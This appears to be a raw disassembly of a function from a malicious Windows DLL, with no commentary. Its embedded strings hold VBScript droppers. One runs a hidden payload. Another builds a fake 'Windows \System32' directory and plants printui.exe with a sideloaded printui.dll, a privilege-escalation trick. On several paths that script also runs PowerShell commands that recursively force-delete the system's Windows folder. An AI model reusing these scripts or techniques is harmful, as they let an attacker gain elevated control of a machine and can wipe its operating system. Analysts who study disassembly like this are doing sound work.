lea rcx, [rsp + 0xd0]
call fcn.180006450
nop
lea rcx, [rsp + 0xf0]
call fcn.180006450
nop
lea rcx, [rsp + 0xa0]
call fcn.180006450
lea rax, str.Set_WshShell__CreateObject__WScript.Shell___r_nWshShell.Run_Chr_34_______Chr_34___0_r_nSet_WshShell__Nothing
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], Ordinal_113
lea r8, [rsp + 0x250]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x130]
call fcn.180029050
nop
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x210]
call fcn.180005340
nop
lea rcx, [rsp + 0x570]
call fcn.1800275b0
lea rdx, [rsp + 0x1d0]
cmp qword [rsp + 0x1e8], 7
cmova rdx, qword [rsp + 0x1d0]
lea rcx, [rsp + 0x570]
call fcn.180028af0
mov rax, qword [rsp + 0x570]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x570], rdi
mov rax, qword [rsp + 0x570]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x56c], edx
cmp qword [rsp + 0x5f8], 0
je 0x1800554d5
lea rcx, [rsp + 0x210]
call fcn.180006610
mov r8, qword [rsp + 0x220]
mov rdx, rax
lea rcx, [rsp + 0x570]
call fcn.180028340
lea rcx, [rsp + 0x570]
call fcn.180028250
lea rdx, [rsp + 0x1d0]
call fcn.180058d90
mov r9, qword [rsp + 0x140]
test r9, r9
jne 0x18005550b
xorps xmm0, xmm0
movups xmmword [rsp + 0x150], xmm0
movdqa xmm1, xmmword [0x1802080d0]
movdqu xmmword [rsp + 0x160], xmm1
mov byte [rsp + 0x150], r9b
jmp 0x1800555d7
lea r8, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova r8, qword [rsp + 0x130]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rsi, eax
mov rdx, rsi
xor r8d, r8d
lea rcx, [rsp + 0x110]
call fcn.1800066d0
lea rdx, [rsp + 0x110]
cmp qword [rsp + 0x128], 0xf
cmova rdx, qword [rsp + 0x110]
lea r8, [rsp + 0x130]
cmp qword [rsp + 0x148], 7
cmova r8, qword [rsp + 0x130]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rdx
mov r9d, dword [rsp + 0x140]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movups xmm0, xmmword [rsp + 0x110]
movups xmmword [rsp + 0x150], xmm0
movups xmm1, xmmword [rsp + 0x120]
movups xmmword [rsp + 0x160], xmm1
lea rcx, [rsp + 0x460]
call fcn.1800275b0
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x460]
call fcn.1800282f0
nop
cmp qword [rsp + 0x4e8], 0
je 0x180055638
lea rcx, [rsp + 0x150]
call fcn.180006610
mov r8, qword [rsp + 0x160]
mov rdx, rax
lea rcx, [rsp + 0x460]
call fcn.180028340
lea rcx, [rsp + 0x460]
call fcn.180028250
nop
lea rcx, [rsp + 0x460]
call fcn.180027510
nop
lea rcx, [rsp + 0x150]
call fcn.180006640
nop
lea rcx, [rsp + 0x570]
call fcn.180027510
nop
lea rcx, [rsp + 0x210]
call fcn.180006640
nop
lea rcx, [rsp + 0x130]
call fcn.180006450
nop
lea rcx, [rsp + 0x330]
call fcn.180006450
jmp 0x1800557fc
cmp eax, 1
jne 0x1800557f5
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x130]
call fcn.180052130
nop
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.180051dc0
nop
lea rdx, [rsp + 0xf0]
mov rcx, rax
call fcn.180023550
nop
lea rdx, [rsp + 0xa0]
mov rcx, rax
call fcn.18002a8d0
nop
lea rcx, str.Dim_objShell__objFSO__strSystemDrive_r_nSet_objFSO__CreateObject__Scripting.FileSystemObject___r_nstrSystemDrive__CreateObject__WScript.Shell__.ExpandEnvironmentStrings___SystemDrive____r_n_r_nSet_objShell__WScript.CreateObject__WScript.Shell___r_nobjShell.Run__explorer_..___r_n_r_nIf_Not_objFSO.FolderExists_strSystemDrive___Windows_System32010101___Then_r_n_tIf_objFSO.FolderExists_strSystemDrive___Windows_System32___Then_r_n_t_tobjShell.Run__powershell_Remove_Item__Path_____strSystemDrive___Windows___Recurse__Force___0__True_r_n_tEnd_If_r_n_r_n_tobjShell.Run__powershell_mkdir_____strSystemDrive___Windows_System32__Start_Sleep__Seconds_1__mkdir____strSystemDrive___Windows_System32010101__Copy_Item____strSystemDrive___WindowsSystem32printui.exe____strSystemDrive___Windows_System32printui.exe__Force__Start_Sleep__Seconds_1__Copy_Item_____strSystemDrive___Windows_System32printui.dll__Force__Start_Sleep__Seconds_5____0__True_r_n_r_n_tIf_objFSO.FileExists_strSystemDrive___Windows_System32printui.exe___Then_r_n_t_tIf_objFSO.FileExists_strSystemDrive___Windows_System32printui.dll___Then_r_n_t_t_tobjShell.Run__powershell_mkdir____strSystemDrive___Windows_System32_shrd_b___Start_Sleep__Seconds_3__Start_Process__FilePath____strSystemDrive__Windows_System32printui.exe____0__True_r_n_t_tElse_r_n_t_t_tobjShell.Run__powershell_Remove_Item__Path_____strSystemDrive___Windows___Recurse__Force___0__True_r_n_t_tEnd_If_r_n_tElse_r_n_t_tobjShell.Run__powershell_Remove_Item__Path_____strSystemDrive___Windows___Recurse__Force___0__True_r_n_tEnd_If_r_nEnd_If_r_n_r_nSet_objShell__Nothing_r_nSet_objFSO__Nothing
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], 0x66a
lea r9, [rsp + 0x310]
mov r8, rax
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x330]
call fcn.180059270
nop
lea rcx, [rsp + 0xa0]
call fcn.180006450
nop
lea rcx, [rsp + 0xf0]
call fcn.180006450
nop
lea rcx, [rsp + 0xd0]
call fcn.180006450
nop
lea rcx, [rsp + 0x130]
call fcn.180006450
lea rdx, [rsp + 0x330]
lea rcx, [rsp + 0x210]
call fcn.180005340
nop
lea rcx, [rsp + 0x460]
call fcn.1800275b0
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0x460]
call fcn.1800282f0
nop
cmp qword [rsp + 0x4e8], 0
je 0x1800557cc
lea rcx, [rsp + 0x210]
call fcn.180006610
mov r8, qword [rsp + 0x220]
mov rdx, rax
lea rcx, [rsp + 0x460]
call fcn.180028340
lea rcx, [rsp + 0x460]
call fcn.180028250
nop
lea rcx, [rsp + 0x460]
call fcn.180027510
nop
lea rcx, [rsp + 0x210]
call fcn.180006640
nop
lea rcx, [rsp + 0x330]
call fcn.180006450
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea r8, [rsp + 0x2b0]
mov rdx, r14
mov rcx, r15
call fcn.180058300
lea rdx, [r15 + 0x80]
lea rcx, [rsp + 0x2d0]
call fcn.180005340
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x350]
call fcn.1800c0e90
lea rdx, [rsp + 0x290]
cmp qword [rsp + 0x2a8], 7
cmova rdx, qword [rsp + 0x290]
lea rcx, [rsp + 0x350]
call fcn.180028af0
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x350], rdi
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x34c], edx
cmp qword [rsp + 0x3d8], 0
je 0x1800558cb
lea rcx, [rsp + 0x2d0]
call fcn.180006610
mov r8, qword [rsp + 0x2e0]
mov rdx, rax
lea rcx, [rsp + 0x350]
call fcn.180028340
lea rcx, [rsp + 0x350]
call fcn.180028250
nop
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x350], rdi
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x34c], edx
lea rcx, [rsp + 0x358]
call fcn.1800281a0
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x350], rax
mov rax, qword [rsp + 0x350]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x34c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x3f8], rax
lea rcx, [rsp + 0x3f8]
call fcn.18008ca60
nop
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0xf
jbe 0x180055996
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055991
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f36
call fcn.18008ef10
movdqa xmm0, xmmword [0x1802080d0]
movdqu xmmword [rsp + 0x2e0], xmm0
mov byte [rsp + 0x2d0], 0
mov rdx, qword [rsp + 0x1c8]
cmp rdx, 7
jbe 0x1800559f7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800559f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f3c
call fcn.18008ef10
movdqu xmmword [rsp + 0x1c0], xmm6
mov word [rsp + 0x1b0], bx
mov rdx, qword [rsp + 0x268]
cmp rdx, 7
jbe 0x180055a50
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055a4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f42
call fcn.18008ef10
movdqu xmmword [rsp + 0x260], xmm6
mov word [rsp + 0x250], bx
mov rdx, qword [rsp + 0x328]
cmp rdx, 7
jbe 0x180055aa9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055aa4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f48
call fcn.18008ef10
movdqu xmmword [rsp + 0x320], xmm6
mov word [rsp + 0x310], bx
mov rdx, qword [rsp + 0x288]
cmp rdx, 7
jbe 0x180055b02
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055afd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f4e
call fcn.18008ef10
movdqu xmmword [rsp + 0x280], xmm6
mov word [rsp + 0x270], bx
mov rdx, qword [rsp + 0x308]
cmp rdx, 7
jbe 0x180055b5c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055b56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f54
call fcn.18008ef10
nop
jmp 0x180055b68
mov rdx, qword [rsp + 0x248]
cmp rdx, 7
jbe 0x180055bb0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055bab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f5a
call fcn.18008ef10
mov qword [rsp + 0x240], rbx
mov qword [rsp + 0x248], 7
mov word [rsp + 0x230], bx
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 7
jbe 0x180055c14
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055c0f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f60
call fcn.18008ef10
movdqu xmmword [rsp + 0x2a0], xmm6
mov word [rsp + 0x290], bx
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 7
jbe 0x180055c6d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055c68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f66
call fcn.18008ef10
movdqu xmmword [rsp + 0x2c0], xmm6
mov word [rsp + 0x2b0], bx
mov rdx, qword [rsp + 0x1e8]
cmp rdx, 7
jbe 0x180055cc6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055cc1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f6c
call fcn.18008ef10
mov qword [rsp + 0x1e0], rbx
mov qword [rsp + 0x1e8], 7
mov word [rsp + 0x1d0], bx
mov rdx, qword [rsp + 0x208]
cmp rdx, 7
jbe 0x180055d2a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055d25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f72
call fcn.18008ef10
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], 7
mov word [rsp + 0x1f0], bx
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x180055d8e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055d89
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f78
call fcn.18008ef10
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x1a8], 7
mov word [rsp + 0x190], bx
mov rdx, qword [rsp + 0x188]
cmp rdx, 7
jbe 0x180055df2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180055ded
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180055f7e
call fcn.18008ef10
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.18008eef0
mov rbx, qword [rsp + 0x6e0]
movaps xmm6, xmmword [rsp + 0x690]
add rsp, 0x6a0
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x110]
lea rcx, str.exists
call fcn.180023fd0
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x110]
lea rcx, str.exists
call fcn.180023fd0
nop
call fcn.18009e1e4
nop
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x110]
lea rcx, str.exists
call fcn.180023fd0
nop
shr rdx, 0x20
lea r8, [rsp + 0x110]
lea rcx, str.create_directory
call fcn.18002bac0
nop
call fcn.18009e1e4
int3
call fcn.18009e1e4
nop
lea r8, [rsp + 0x130]
lea rdx, [rsp + 0x110]
lea rcx, str.exists
call fcn.180023fd0
nop
shr rdx, 0x20
lea r9, [rsp + 0x130]
lea r8, [rsp + 0x110]
lea rcx, str.copy_file
call fcn.180051e00
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
nop
call fcn.18009e1e4
int3